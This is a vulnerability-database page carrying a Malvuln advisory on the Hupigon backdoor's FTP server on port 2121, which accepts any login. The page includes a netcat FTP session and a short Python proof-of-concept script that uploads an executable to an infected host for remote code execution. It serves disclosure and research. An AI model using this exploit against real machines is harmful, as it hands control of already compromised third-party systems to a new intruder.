Lucene search
K

Backdoor.Win32.Hupigon.afjk Authentication Bypass / Code Execution

🗓️ 28 Oct 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 491 Views

Backdoor.Win32.Hupigon.afjk FTP server allows any user to upload and execute files leading to RC

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b_C.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.afjk  
Vulnerability: Authentication Bypass RCE  
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Type: PE32  
MD5: 80b0fc8c0657c0ae7971f09af45c706b  
Vuln ID: MVID-2021-0376  
Disclosure: 10/27/2021  
  
Exploit/PoC:  
nc64.exe 192.168.18.125 2121  
220 Welcome To huigezi Ftp!  
USER malvuln  
331 Password required for malvuln.  
PASS malvuln  
230 User malvuln logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,18,125,194,55).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
from socket import *  
  
MALWARE_HOST="192.168.18.125"  
PORT=49719  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation